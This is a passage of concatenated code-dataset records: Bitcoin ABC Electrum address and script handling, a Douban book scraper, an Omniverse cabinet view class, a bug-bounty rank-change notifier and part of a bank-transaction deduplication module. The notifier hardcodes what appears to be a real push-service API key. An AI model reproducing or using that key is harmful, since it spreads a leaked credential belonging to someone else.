cls.from_pubkey(hex_to_bytes(string))\n\n    @classmethod\n    def validate(cls, pubkey):\n        if not isinstance(pubkey, (bytes, bytearray)):\n            raise TypeError(\"pubkey must be of bytes type, not {}\".format(type(pubkey)))\n        if len(pubkey) == 33 and pubkey[0] in (2, 3):\n            return  # Compressed\n        if len(pubkey) == 65 and pubkey[0] == 4:\n            return  # Uncompressed\n        raise AddressError(\"invalid pubkey {}\".format(pubkey))\n\n    @cachedproperty\n    def address(self):\n        \"\"\"Convert to an Address object.\"\"\"\n        return Address(hash_160(self.pubkey), Address.ADDR_P2PKH)\n\n    def is_compressed(self):\n        \"\"\"Returns True if the pubkey is compressed.\"\"\"\n        return len(self.pubkey) == 33\n\n    def to_ui_string(self):\n        \"\"\"Convert to a hexadecimal string.\"\"\"\n        return self.pubkey.hex()\n\n    def to_storage_string(self):\n        \"\"\"Convert to a hexadecimal string for storage.\"\"\"\n        return self.pubkey.hex()\n\n    def to_script(self):\n        \"\"\"Note this returns the P2PK script.\"\"\"\n        return Script.P2PK_script(self.pubkey)\n\n    def to_script_hex(self):\n        \"\"\"Return a script to pay to the address as a hex string.\"\"\"\n        return self.to_script().hex()\n\n    def to_scripthash(self):\n        \"\"\"Returns the hash of the script in binary.\"\"\"\n        return sha256(self.to_script())\n\n    def to_scripthash_hex(self):\n        \"\"\"Like other bitcoin hashes this is reversed when written in hex.\"\"\"\n        return hash_to_hex_str(self.to_scripthash())\n\n    def to_P2PKH_script(self):\n        \"\"\"Return a P2PKH script.\"\"\"\n        return self.address.to_script()\n\n    def __str__(self):\n        return self.to_ui_string()\n\n    def __repr__(self):\n        return \"<PubKey {}>\".format(self.__str__())\n\n\nclass ScriptOutput(namedtuple(\"ScriptAddressTuple\", \"script\"), DestinationType):\n    @classmethod\n    def from_string(self, string):\n        \"\"\"Instantiate from a mixture of opcodes and raw data.\"\"\"\n        script = bytearray()\n        for word in string.split():\n            if word.startswith(\"OP_\"):\n                try:\n                    opcode = OpCodes[word]\n                except KeyError:\n                    raise AddressError(\"unknown opcode {}\".format(word))\n                script.append(opcode)\n            else:\n                import binascii\n\n                script.extend(Script.push_data(binascii.unhexlify(word)))\n        return ScriptOutput.protocol_factory(bytes(script))\n\n    def to_ui_string(self, ignored=None):\n        \"\"\"Convert to user-readable OP-codes (plus pushdata as text if possible)\n        eg OP_RETURN (12) \"Hello there!\"\n        \"\"\"\n        try:\n            ops = Script.get_ops(self.script)\n        except ScriptError:\n            # Truncated script -- so just default to hex string.\n            return \"Invalid script: \" + self.script.hex()\n\n        def lookup(x):\n            try:\n                return OpCodes(x).name\n            except ValueError:\n                return \"(\" + str(x) + \")\"\n\n        parts = []\n        for op, data in ops:\n            if data is not None:\n                # Attempt to make a friendly string, or fail to hex\n                try:\n                    astext = data.decode(\"utf8\")\n\n                    friendlystring = repr(astext)\n\n                    # if too many escaped characters, it's too ugly!\n                    if friendlystring.count(\"\\\\\") * 3 > len(astext):\n                        friendlystring = None\n                except Exception:\n                    friendlystring = None\n\n                if not friendlystring:\n                    friendlystring = data.hex()\n\n                parts.append(lookup(op) + \" \" + friendlystring)\n            else:  # isinstance(op, int):\n                parts.append(lookup(op))\n        return \", \".join(parts)\n\n    def to_script(self):\n        return self.script\n\n    def is_opreturn(self):\n        \"\"\"Returns True iff this script is an OP_RETURN script (starts with\n        the OP_RETURN byte)\"\"\"\n        return bool(self.script and self.script[0] == OpCodes.OP_RETURN)\n\n    def __str__(self):\n        return self.to_ui_string(True)\n\n    def __repr__(self):\n        return \"<ScriptOutput {}>\".format(self.__str__())\n\n    ###########################################\n    # Protocol system methods and class attrs #\n    ###########################################\n\n    # subclasses of ScriptOutput that handle protocols. Currently this will\n    # contain a cashacct.ScriptOutput instance.\n    #\n    # NOTE: All subclasses of this class must be hashable. Please implement\n    # __hash__ for any subclasses. (This is because our is_mine cache in\n    # wallet.py assumes all possible types that pass through it are hashable).\n    #\n    protocol_classes = set()\n\n    def make_complete(self, block_height=None, block_hash=None, txid=None):\n        \"\"\"Subclasses implement this, noop here.\"\"\"\n        pass\n\n    def is_complete(self):\n        \"\"\"Subclasses implement this, noop here.\"\"\"\n        return True\n\n    @classmethod\n    def find_protocol_class(cls, script_bytes):\n        \"\"\"Scans the protocol_classes set, and if the passed-in script matches\n        a known protocol, returns that class, otherwise returns our class.\"\"\"\n        for c in cls.protocol_classes:\n            if c.protocol_match(script_bytes):\n                return c\n        return __class__\n\n    @staticmethod\n    def protocol_factory(script):\n        \"\"\"One shot -- find the right class and construct object based on script\"\"\"\n        return __class__.find_protocol_class(script)(script)\n\n\n# A namedtuple for easy comparison and unique hashing\nclass Address(namedtuple(\"AddressTuple\", \"hash160 kind\"), DestinationType):\n    # Address kinds\n    ADDR_P2PKH = 0\n    ADDR_P2SH = 1\n\n    # Address formats\n    FMT_CASHADDR = \"CashAddr\"\n    FMT_LEGACY = \"Legacy\"\n\n    # We keep this for now for the address converter tool and hw wallets, but it\n    # can no longer be shown in the rest of the UI.\n    FMT_CASHADDR_BCH = \"CashAddr BCH\"\n\n    # Default to CashAddr\n    FMT_UI = FMT_CASHADDR\n    \"\"\"Current address format used in the UI\"\"\"\n\n    FMTS_UI = [FMT_CASHADDR, FMT_LEGACY]\n    \"\"\"All address formats that can be used in the UI\"\"\"\n\n    FMT_UI_IDX = FMTS_UI.index(FMT_UI)\n    \"\"\"Index of current format in the list of usable address formats\"\"\"\n\n    def __new__(cls, hash160, kind):\n        assert kind in (cls.ADDR_P2PKH, cls.ADDR_P2SH)\n        hash160 = to_bytes(hash160)\n        assert len(hash160) == 20, \"hash must be 20 bytes\"\n        ret = super().__new__(cls, hash160, kind)\n        ret._addr2str_cache = {\n            cls.FMT_CASHADDR: None,\n            cls.FMT_CASHADDR_BCH: None,\n            cls.FMT_LEGACY: None,\n        }\n        return ret\n\n    @classmethod\n    def set_address_format(cls, fmt):\n        cls.FMT_UI = fmt\n        cls.FMT_UI_IDX = cls.FMTS_UI.index(cls.FMT_UI)\n\n    @classmethod\n    def toggle_address_format(cls):\n        # increment index and select next format in list\n        cls.FMT_UI_IDX = (cls.FMT_UI_IDX + 1) % len(cls.FMTS_UI)\n        cls.FMT_UI = cls.FMTS_UI[cls.FMT_UI_IDX]\n\n    @classmethod\n    def from_cashaddr_string(\n        cls,\n        string: str,\n        *,\n        net: Optional[networks.AbstractNet] = None,\n        support_arbitrary_prefix: bool = False,\n    ):\n        \"\"\"Construct from a cashaddress string.\n        If the prefix is not specified, \"ecash:\" and \"bitcoincash:\" are tried.\n        :return: Instance of :class:`Address`\n        \"\"\"\n        if net is None:\n            net = networks.net\n        string = string.lower()\n\n        if net.TESTNET:\n            whitelisted_prefixes = WHITELISTED_TESTNET_PREFIXES\n        else:\n            whitelisted_prefixes = WHITELISTED_PREFIXES\n\n        if \":\" in string:\n            # Case of prefix being specified\n            try:\n                prefix, kind, addr_hash = cashaddr.decode(string)\n            except ValueError as e:\n                raise AddressError(str(e))\n\n            if not support_arbitrary_prefix and prefix not in whitelisted_prefixes:\n                raise AddressError(f\"address has unexpected prefix {prefix}\")\n        else:\n            # The input string can omit the prefix, in which case\n            # we try supported prefixes\n            prefix, kind, addr_hash = None, None, None\n            errors = []\n            for p in whitelisted_prefixes:\n                full_string = \":\".join([p, string])\n                try:\n                    prefix, kind, addr_hash = cashaddr.decode(full_string)\n                except ValueError as e:\n                    errors.append(str(e))\n                else:\n                    # accept the first valid address\n                    break\n            if len(errors) >= len(whitelisted_prefixes):\n                raise AddressError(\n                    \"Unable to decode CashAddr with supported prefixes.\\n\\n\".join(\n                        [f\"{err}\" for err in errors]\n                    )\n                    + \"\\n\"\n                )\n\n        if kind == cashaddr.PUBKEY_TYPE:\n            return cls(addr_hash, cls.ADDR_P2PKH)\n        elif kind == cashaddr.SCRIPT_TYPE:\n            return cls(addr_hash, cls.ADDR_P2SH)\n        else:\n            raise AddressError(f\"address has unexpected kind {kind}\")\n\n    @classmethod\n    def from_string(\n        cls,\n        string: str,\n        *,\n        net: Optional[networks.AbstractNet] = None,\n        support_arbitrary_prefix: bool = False,\n    ):\n        \"\"\"Construct from an address string.\n        This supports the following formats:\n          - legacy BTC addresses\n          - CashAddr with a \"ecash:\" prefix\n          - CashAddr with a prefix omitted if this prefix is \"ecash:\"\n          - CashAddr with an arbitrary prefix, if support_arbitrary_prefix\n            is True\n\n        :return: Instance of :class:`Address`\n        \"\"\"\n        if net is None:\n            net = networks.net\n        if len(string) > 35:\n            try:\n                return cls.from_cashaddr_string(\n                    string, net=net, support_arbitrary_prefix=support_arbitrary_prefix\n                )\n            except ValueError as e:\n                raise AddressError(str(e))\n\n        try:\n            raw = Base58.decode_check(string)\n        except Base58Error as e:\n            raise AddressError(str(e))\n\n        # Require version byte(s) plus hash160.\n        if len(raw) != 21:\n            raise AddressError(\"invalid address: {}\".format(string))\n\n        verbyte, hash160 = raw[0], raw[1:]\n        if verbyte == net.ADDRTYPE_P2PKH:\n            kind = cls.ADDR_P2PKH\n        elif verbyte == net.ADDRTYPE_P2SH:\n            kind = cls.ADDR_P2SH\n        else:\n            raise AddressError(\"unknown version byte: {}\".format(verbyte))\n\n        return cls(hash160, kind)\n\n    @classmethod\n    def is_valid(cls, string, *, net=None):\n        if net is None:\n            net = networks.net\n        try:\n            cls.from_string(string, net=net)\n            return True\n        except Exception:\n            return False\n\n    @classmethod\n    def from_strings(cls, strings, *, net=None):\n        \"\"\"Construct a list from an iterable of strings.\"\"\"\n        if net is None:\n            net = networks.net\n        return [cls.from_string(string, net=net) for string in strings]\n\n    @classmethod\n    def from_pubkey(cls, pubkey):\n        \"\"\"Returns a P2PKH address from a public key.  The public key can\n        be bytes or a hex string.\"\"\"\n        if isinstance(pubkey, str):\n            pubkey = hex_to_bytes(pubkey)\n        PublicKey.validate(pubkey)\n        return cls(hash_160(pubkey), cls.ADDR_P2PKH)\n\n    @classmethod\n    def from_P2PKH_hash(cls, hash160):\n        \"\"\"Construct from a P2PKH hash160.\"\"\"\n        return cls(hash160, cls.ADDR_P2PKH)\n\n    @classmethod\n    def from_P2SH_hash(cls, hash160):\n        \"\"\"Construct from a P2PKH hash160.\"\"\"\n        return cls(hash160, cls.ADDR_P2SH)\n\n    @classmethod\n    def from_multisig_script(cls, script):\n        return cls(hash_160(script), cls.ADDR_P2SH)\n\n    @classmethod\n    def to_strings(cls, fmt, addrs, *, net=None):\n        \"\"\"Construct a list of strings from an iterable of Address objects.\"\"\"\n        if net is None:\n            net = networks.net\n        return [addr.to_string(fmt, net=net) for addr in addrs]\n\n    @staticmethod\n    def is_legacy(address: str, net=None) -> bool:\n        \"\"\"Find if the string of the address is in legacy format\"\"\"\n        if net is None:\n            net = networks.net\n        try:\n            raw = Base58.decode_check(address)\n        except Base58Error:\n            return False\n\n        if len(raw) != 21:\n            return False\n\n        verbyte = raw[0]\n        legacy_formats = (net.ADDRTYPE_P2PKH, net.ADDRTYPE_P2SH)\n        return verbyte in legacy_formats\n\n    def to_cashaddr(self, *, net=None) -> str:\n        \"\"\"Return address string in CashAddr format (without prefix)\"\"\"\n        if net is None:\n            net = networks.net\n        if self.kind == self.ADDR_P2PKH:\n            kind = cashaddr.PUBKEY_TYPE\n        else:\n            kind = cashaddr.SCRIPT_TYPE\n        return cashaddr.encode(net.CASHADDR_PREFIX, kind, self.hash160)\n\n    def to_cashaddr_bch(self, *, net=None) -> str:\n        if net is None:\n            net = networks.net\n        if self.kind == self.ADDR_P2PKH:\n            kind = cashaddr.PUBKEY_TYPE\n        else:\n            kind = cashaddr.SCRIPT_TYPE\n        return cashaddr.encode(net.CASHADDR_PREFIX_BCH, kind, self.hash160)\n\n    def to_string(self, fmt, *, net=None) -> str:\n        \"\"\"Converts to a string of the given format.\n        CashAddr formats are produced without prefix.\n        \"\"\"\n        if net is None:\n            net = networks.net\n        if net is networks.net:\n            try:\n                cached = self._addr2str_cache[fmt]\n                if cached is not None:\n                    return cached\n            except (IndexError, TypeError):\n                raise AddressError(\"unrecognised format\")\n\n        cached = None\n        try:\n            if fmt == self.FMT_CASHADDR:\n                cached = self.to_cashaddr(net=net)\n                return cached\n\n            if fmt == self.FMT_CASHADDR_BCH:\n                cached = self.to_cashaddr_bch(net=net)\n                return cached\n\n            if fmt == self.FMT_LEGACY:\n                if self.kind == self.ADDR_P2PKH:\n                    verbyte = net.ADDRTYPE_P2PKH\n                else:\n                    verbyte = net.ADDRTYPE_P2SH\n            else:\n                # This should never be reached due to cache-lookup check above. But leaving it in as it's a harmless sanity check.\n                raise AddressError(\"unrecognised format\")\n\n            cached = Base58.encode_check(bytes([verbyte]) + self.hash160)\n            return cached\n        finally:\n            if cached is not None and net is networks.net:\n                self._addr2str_cache[fmt] = cached\n\n    def to_full_string(self, fmt, *, net=None) -> str:\n        \"\"\"Convert to text, with a URI prefix for cashaddr format.\"\"\"\n        if net is None:\n            net = networks.net\n        text = self.to_string(fmt, net=net)\n        if fmt == self.FMT_CASHADDR:\n            text = \":\".join([net.CASHADDR_PREFIX, text])\n        if fmt == self.FMT_CASHADDR_BCH:\n            text = \":\".join([net.CASHADDR_PREFIX_BCH, text])\n        return text\n\n    def to_ui_string_without_prefix(self, *, net=None) -> str:\n        \"\"\"Convert to text in the current UI format choice.\n        If the format is CashAddr, it is produced without the prefix.\"\"\"\n        if net is None:\n            net = networks.net\n        return self.to_string(self.FMT_UI, net=net)\n\n    def to_ui_string(self, *, net=None) -> str:\n        \"\"\"Convert to text, with a URI prefix if cashaddr.\"\"\"\n        if net is None:\n            net = networks.net\n        return self.to_full_string(self.FMT_UI, net=net)\n\n    def to_URI_components(self, *, net=None) -> Tuple[str, str]:\n        \"\"\"Returns a (scheme, path) pair for building a URI.\"\"\"\n        if net is None:\n            net = networks.net\n        scheme = net.CASHADDR_PREFIX\n        path = self.to_string(self.FMT_UI, net=net)\n        return scheme, path\n\n    def to_storage_string(self, *, net=None):\n        \"\"\"Convert to text in the storage format.\"\"\"\n        if net is None:\n            net = networks.net\n        return self.to_string(self.FMT_LEGACY, net=net)\n\n    def to_script(self):\n        \"\"\"Return a binary script to pay to the address.\"\"\"\n        if self.kind == self.ADDR_P2PKH:\n            return Script.P2PKH_script(self.hash160)\n        else:\n            return Script.P2SH_script(self.hash160)\n\n    def to_script_hex(self):\n        \"\"\"Return a script to pay to the address as a hex string.\"\"\"\n        return self.to_script().hex()\n\n    def to_scripthash(self):\n        \"\"\"Returns the hash of the script in binary.\"\"\"\n        return sha256(self.to_script())\n\n    def to_scripthash_hex(self):\n        \"\"\"Like other bitcoin hashes this is reversed when written in hex.\"\"\"\n        return hash_to_hex_str(self.to_scripthash())\n\n    def __str__(self):\n        return self.to_ui_string()\n\n    def __repr__(self):\n        return \"<Address {}>\".format(self.__str__())\n\n\ndef _match_ops(ops, pattern):\n    if len(ops) != len(pattern):\n        return False\n    for op, pop in zip(ops, pattern):\n        if pop != op:\n            # -1 means 'data push', whose op is an (op, data) tuple\n            if pop == -1 and isinstance(op, tuple):\n                continue\n            return False\n\n    return True\n\n\nclass Script:\n    @classmethod\n    def P2SH_script(cls, hash160):\n        assert len(hash160) == 20\n        return P2SH_prefix + hash160 + P2SH_suffix\n\n    @classmethod\n    def P2PKH_script(cls, hash160):\n        assert len(hash160) == 20\n        return P2PKH_prefix + hash160 + P2PKH_suffix\n\n    @classmethod\n    def P2PK_script(cls, pubkey):\n        return cls.push_data(pubkey) + bytes([OpCodes.OP_CHECKSIG])\n\n    @classmethod\n    def multisig_script(cls, m, pubkeys) -> bytes:\n        \"\"\"Returns the script for a pay-to-multisig transaction.\"\"\"\n        n = len(pubkeys)\n        if not 1 <= m <= n <= 15:\n            raise ScriptError(\"{:d} of {:d} multisig script not possible\".format(m, n))\n        for pubkey in pubkeys:\n            PublicKey.validate(pubkey)  # Can be compressed or not\n        # See https://bitcoin.org/en/developer-guide\n        # 2 of 3 is: OP_2 pubkey1 pubkey2 pubkey3 OP_3 OP_CHECKMULTISIG\n        return (\n            cls.push_data(bytes([m]))\n            + b\"\".join(cls.push_data(pubkey) for pubkey in pubkeys)\n            + cls.push_data(bytes([n]))\n            + bytes([OpCodes.OP_CHECKMULTISIG])\n        )\n\n    @classmethod\n    def push_data(cls, data: Union[bytes, bytearray], *, minimal=True) -> bytes:\n        \"\"\"Returns the OpCodes to push the data on the stack, plus the payload.\"\"\"\n        return push_script_bytes(data, minimal=minimal)\n\n    @classmethod\n    def get_ops(\n        cls, script: bytes, *, synthesize_minimal_data=True\n    ) -> List[Tuple[OpCodes, Optional[bytes]]]:\n        \"\"\"Parse a script and return a list of (opcode, data) tuples.\n        If the opcode is not a push operation, data is None.\n        \"\"\"\n        ops = []\n\n        # The unpacks or script[n] below throw on truncated scripts\n        try:\n            n = 0\n            while n < len(script):\n                op = script[n]\n                n += 1\n\n                if op <= OpCodes.OP_PUSHDATA4:\n                    if op < OpCodes.OP_PUSHDATA1:\n                        # Raw bytes follow\n                        dlen = op\n                    elif op == OpCodes.OP_PUSHDATA1:\n                        # One-byte length, then data\n                        dlen = script[n]\n                        n += 1\n                    elif op == OpCodes.OP_PUSHDATA2:\n                        # Two-byte length, then data\n                        (dlen,) = struct.unpack(\"<H\", script[n : n + 2])\n                        n += 2\n                    else:  # op == OpCodes.OP_PUSHDATA4\n                        # Four-byte length, then data\n                        (dlen,) = struct.unpack(\"<I\", script[n : n + 4])\n                        n += 4\n                    if n + dlen > len(script):\n                        raise IndexError\n                    data = script[n : n + dlen]\n                    n += dlen\n                elif synthesize_minimal_data and OpCodes.OP_1 <= op <= OpCodes.OP_16:\n                    # BIP62: 1-byte pushes containing just 0x1 to 0x10 are encoded as single op-codes\n                    # We synthesize the data that was originally pushed.\n                    data = bytes([1 + (op - OpCodes.OP_1)])\n                elif synthesize_minimal_data and op == OpCodes.OP_1NEGATE:\n                    # BIP62: 1-byte pushes containing just 0x81 are encoded as single op-codes\n                    # We synthesize the data that was originally pushed.\n                    data = bytes([0x81])\n                else:\n                    data = None\n\n                ops.append((op, data))\n        except Exception:\n            # Truncated script; e.g. tx_hash\n            # ebc9fa1196a59e192352d76c0f6e73167046b9d37b8302b6bb6968dfd279b767\n            raise ScriptError(\"truncated script\")\n\n        return ops\n\n\nclass Base58Error(Exception):\n    \"\"\"Exception used for Base58 errors.\"\"\"\n\n\nclass Base58:\n    \"\"\"Class providing base 58 functionality.\"\"\"\n\n    chars = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\"\n    assert len(chars) == 58\n    cmap = {c: n for n, c in enumerate(chars)}\n\n    @staticmethod\n    def char_value(c):\n        val = Base58.cmap.get(c)\n        if val is None:\n            raise Base58Error('invalid base 58 character \"{}\"'.format(c))\n        return val\n\n    @staticmethod\n    def decode(txt):\n        \"\"\"Decodes txt into a big-endian bytearray.\"\"\"\n        if not isinstance(txt, str):\n            raise TypeError(\"a string is required\")\n\n        if not txt:\n            raise Base58Error(\"string cannot be empty\")\n\n        value = 0\n        for c in txt:\n            value = value * 58 + Base58.char_value(c)\n\n        result = int_to_bytes(value)\n\n        # Prepend leading zero bytes if necessary\n        count = 0\n        for c in txt:\n            if c != \"1\":\n                break\n            count += 1\n        if count:\n            result = bytes(count) + result\n\n        return result\n\n    @staticmethod\n    def encode(be_bytes):\n        \"\"\"Converts a big-endian bytearray into a base58 string.\"\"\"\n        value = bytes_to_int(be_bytes)\n\n        txt = \"\"\n        while value:\n            value, mod = divmod(value, 58)\n            txt += Base58.chars[mod]\n\n        for byte in be_bytes:\n            if byte != 0:\n                break\n            txt += \"1\"\n\n        return txt[::-1]\n\n    @staticmethod\n    def decode_check(txt):\n        \"\"\"Decodes a Base58Check-encoded string to a payload.  The version\n        prefixes it.\"\"\"\n        be_bytes = Base58.decode(txt)\n        result, check = be_bytes[:-4], be_bytes[-4:]\n        if check != double_sha256(result)[:4]:\n            raise Base58Error(\"invalid base 58 checksum for {}\".format(txt))\n        return result\n\n    @staticmethod\n    def encode_check(payload):\n        \"\"\"Encodes a payload bytearray (which includes the version byte(s))\n        into a Base58Check string.\"\"\"\n        be_bytes = payload + double_sha256(payload)[:4]\n        return Base58.encode(be_bytes)\n","repo_name":"Bitcoin-ABC/bitcoin-abc","sub_path":"electrum/electrumabc/address.py","file_name":"address.py","file_ext":"py","file_size_in_byte":28201,"program_lang":"python","lang":"en","doc_type":"code","stars":1124,"dataset":"github-code","pt":"38"}
{"seq_id":"36338855815","text":"#coding=utf-8\r\n#Version:python3.6.0\r\n#Tools:Pycharm 2017.3.2\r\n# Author:LIKUNHONG\r\nfrom bs4 import BeautifulSoup\r\n\r\n__date__ = '2018/12/19 9:59'\r\n__author__ = 'likunkun'\r\n\r\nimport requests\r\nurl = 'https://book.douban.com/latest'\r\nheaders = {\r\n    'User-Agent': \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Safari/537.36 Core/1.63.6784.400 QQBrowser/10.3.2667.400\"\r\n}\r\ndata = requests.get(url, headers=headers)\r\n# print(data.text)\r\n\r\nsoup = BeautifulSoup(data.text, \"html.parser\")\r\n# print(soup)\r\n\r\n# 网页上的书籍按左右两边分布，按照标签分别提取\r\nbooks_left = soup.find('ul', {'class': 'cover-col-4 clearfix'})\r\nbooks_left = books_left.find_all(\"li\")\r\nbooks_right = soup.find('ul', {'class': 'cover-col-4 pl20 clearfix'})\r\nbooks_right = books_right.find_all('li')\r\n\r\nbooks = list(books_left) + list(books_right)","repo_name":"likunhong01/python_study","sub_path":"Crawler/study1/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"22378091999","text":"from typing import Optional\n\nfrom omni.isaac.core.articulations import ArticulationView\nfrom omni.isaac.core.prims import RigidPrimView\n\n\nclass CabinetView(ArticulationView):\n    def __init__(\n        self,\n        prim_paths_expr: str,\n        name: Optional[str] = \"CabinetView\",\n    ) -> None:\n        \"\"\"[summary]\"\"\"\n\n        super().__init__(prim_paths_expr=prim_paths_expr, name=name, reset_xform_properties=False)\n\n        self._drawers = RigidPrimView(\n            prim_paths_expr=\"/World/envs/.*/cabinet/drawer_top\", name=\"drawers_view\", reset_xform_properties=False\n        )\n","repo_name":"NVIDIA-Omniverse/OmniIsaacGymEnvs","sub_path":"omniisaacgymenvs/robots/articulations/views/cabinet_view.py","file_name":"cabinet_view.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":470,"dataset":"github-code","pt":"38"}
{"seq_id":"27333537432","text":"#edusrc积分变动提醒\r\n#by ekkoo\r\nimport requests\r\nimport re\r\nimport json\r\ndef rankchange():\r\n    global url, response, headers, rank, name\r\n    headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0\",\r\n               \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\r\n               \"Accept-Language\": \"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\",\r\n               \"Accept-Encoding\": \"gzip, deflate\", \"Connection\": \"close\", \"Upgrade-Insecure-Requests\": \"1\"}\r\n    url = \"https://src.sjtu.edu.cn/profile/15013/\"\r\n    response1 = requests.get(url, headers=headers).text\r\n    rank1 = re.findall(r'Rank： .*', response1)\r\n    name1 = re.findall(r'<h3 class=\"am-panel-title am-fl\">.*', response1)\r\n    name2=str(name1) #split函数只支持字符串类型截取\r\n    name=name2.split('>',1)[1].split('的')[0]#截取用户名\r\n    while(1):\r\n        response = requests.get(url,headers=headers).text\r\n        rank = re.findall(r'Rank： .*', response)\r\n        print(rank)\r\n        if(rank!=rank1):\r\n            text_title = name+'您的EDUSRC漏洞审核通过啦(*^▽^*)'\r\n            text_content = \"在另一条时间线里，这么做是对的  \\n 加油！少年\\n\"+\"\\n 详情请点击\"+url\r\n            sendKey = 'SCT210463TFGHBI8F8NZgpOQDxZSSpXW01'\r\n\r\n            url = f\"https://sctapi.ftqq.com/{sendKey}.send\"\r\n            headers = {'Content-Type': 'application/x-www-form-urlencoded'}\r\n            data = {\r\n                'text': f\"{text_title}\",\r\n                'content': f\"{text_content}\"\r\n            }\r\n            response = requests.post(url, data=data)\r\n            if json.loads(response.text)[\"data\"]['error'] == 'SUCCESS':\r\n                 print(\"消息推送成功\")\r\n            break\r\n        else:\r\n            print(\"服务正在运行中...\")\r\n\r\nrankchange()\r\n","repo_name":"kong030813/edusrc","sub_path":"edusrc.py","file_name":"edusrc.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"}
{"seq_id":"29446005285","text":"from portrait.transflow.single_account_portrait.trans_flow import transform_class_str\nfrom fileparser.trans_flow.trans_config import MONTH_LIMIT\nfrom logger.logger_util import LoggerUtil\nfrom util.mysql_reader import sql_to_df\nimport pandas as pd\nimport datetime\n\nlogger = LoggerUtil().logger(__name__)\n\n\nclass TransFlowRawData:\n    \"\"\"\n    将流水账户表和流水数据表落库\n    author:汪腾飞\n    created_time:20200706\n    updated_time_v1:20200707新增是否有新增数据字段,若有则有所有后续操作,若无,则无后续操作\n    updated_time_v2:20200818添加commit的事务性,若发生错误则全部不提交\n    \"\"\"\n\n    def __init__(self, sql_db, param, title_param, resp, status):\n        self.df = None\n        self.db = sql_db\n        self.param = param\n        self.title_param = title_param\n        self.raw_list = []\n        self.label_list = []\n        self.status = status\n        self.create_time = datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H:%M:%S')\n        # 是否有新增数据,若为True,则需要运行save_raw_data,若无则不需要\n        self.new_data = True\n        self.resp = resp\n\n    def remove_duplicate_data(self, data):\n        \"\"\"\n        从数据库里面找到对应银行账号最后一次上传的记录,查找最后一次上传记录与本次记录的时间是否有交集\n        如果有则从本次记录中删除上次记录最后时间之前的所有记录,即将本次时间重复的部分删除后再上传\n        :return:\n        \"\"\"\n        if self.status:\n            sql = \"\"\"select * from trans_flow where account_id in (select id from trans_account where account_name='%s' \n            and id_card_no='%s' and account_no='%s' and bank='%s' and create_time > date_sub(now(), interval %d month)) \n            order by id desc\"\"\" % (self.param.get('cusName'), self.param.get('idNo'),\n                                   self.param.get('bankAccount'), self.param.get('bankName'), MONTH_LIMIT)\n            df = sql_to_df(sql)\n            if df.shape[0] == 0:\n                return data\n            df['trans_time'] = pd.to_datetime(df['trans_time'])\n            df['trans_date'] = df['trans_time'].apply(lambda x: x.date())\n            data['trans_date'] = data['trans_time'].apply(lambda x: x.date())\n            full_date_list = df.groupby('account_id')['trans_date'].agg({'min', 'max'})[['min', 'max']].values.tolist()\n            merge_date_list = self.interval_merge(full_date_list)\n            not_full_date_list = []\n            full_date_string = \"data[(data['trans_date'] < pd.to_datetime('%s').date()) | \" % \\\n                               format(merge_date_list[0][0], '%Y-%m-%d')\n            for i in range(len(merge_date_list) - 1):\n                not_full_date_list.extend(merge_date_list[i])\n                temp_str = \"((data['trans_date'] > pd.to_datetime('%s').date()) & \" \\\n                           \"(data['trans_date'] < pd.to_datetime('%s').date())) | \" % \\\n                           (format(merge_date_list[i][1], '%Y-%m-%d'), format(merge_date_list[i+1][0], '%Y-%m-%d'))\n                full_date_string += temp_str\n            full_date_string += \"(data['trans_date'] > pd.to_datetime('%s').date())]\" % \\\n                                format(merge_date_list[-1][-1], '%Y-%m-%d')\n            not_full_date_list.extend(merge_date_list[-1])\n            full_date_df = eval(full_date_string)\n            not_full_date_df = data[data['trans_date'].isin(not_full_date_list)]\n            if not_full_date_df.shape[0] == 0:\n                return full_date_df\n            not_full_date_df1 = df[df['trans_date'].isin(not_full_date_list)]\n            for row in not_full_date_df.itertuples():\n                trans_date = getattr(row, 'trans_date')\n                trans_amt = getattr(row, 'trans_amt')\n                account_balance = getattr(row, 'account_balance')\n                opponent_name = getattr(row, 'opponent_name')\n                exist_df = not_full_date_df1[(not_full_date_df1['trans_amt'] == trans_amt) &\n                                             (not_full_date_df1['trans_date'] == trans_date) &\n                                             (not_full_date_df1['account_balance'] == account_balance) &\n                                             (not_full_date_df1['opponent_name'] == opponent_name)]\n                if exist_df.shape[0] > 0:\n                    not_full_date_df.drop(getattr(row, 'Index'), inplace=True)\n            full_date_df = pd.concat([full_date_df, not_full_date_df], axis=0, sort=False)\n            if full_date_df.shape[0] == 0:\n                self.new_data = False\n                self.resp['resCode'] = '23'\n                self.resp['resMsg'] = '文件重复'\n                self.resp['data']['warningMsg'] = ['该流水文件数据已存在于数据库,不再重复录入']\n                logger.info('录入数据已存在于数据库,不再重复录入,cus_name: %s,   id_card_no: %s,     time:%s' %\n                            (self.param.get('cusName'), self.param.get('idNo'), self.create_time))\n            full_date_df.sort_index(inplace=True)\n            return full_date_df\n        else:\n            return data\n\n    @staticmethod\n    def interval_merge(intervals):\n        if len(intervals) <= 1:\n            return intervals\n        intervals.sort()\n        result = [intervals[0]]\n        for x in intervals[1:]:\n            if x[0] >= result[-1][-1]:\n                result.append(x)\n            else:\n                result[-1][-1] = max(result[-1][-1], x[-1])\n        return result\n\n    def _save_account_data(self):\n        \"\"\"\n        将处理过后的流水数据的基本信息存入trans_account表,并将得到的account_id传入trans_flow表\n        :return:\n        \"\"\"\n        min_trans_time = self.df['trans_time'].min()\n        max_trans_time = self.df['trans_time'].max()\n        min_trans_time = datetime.datetime.strftime(min_trans_time, '%Y-%m-%d %H:%M:%S')\n        max_trans_time = datetime.datetime.strftime(max_trans_time, '%Y-%m-%d %H:%M:%S')\n        temp_dict = dict()\n        temp_dict['account_name'] = self.param.get('cusName')\n        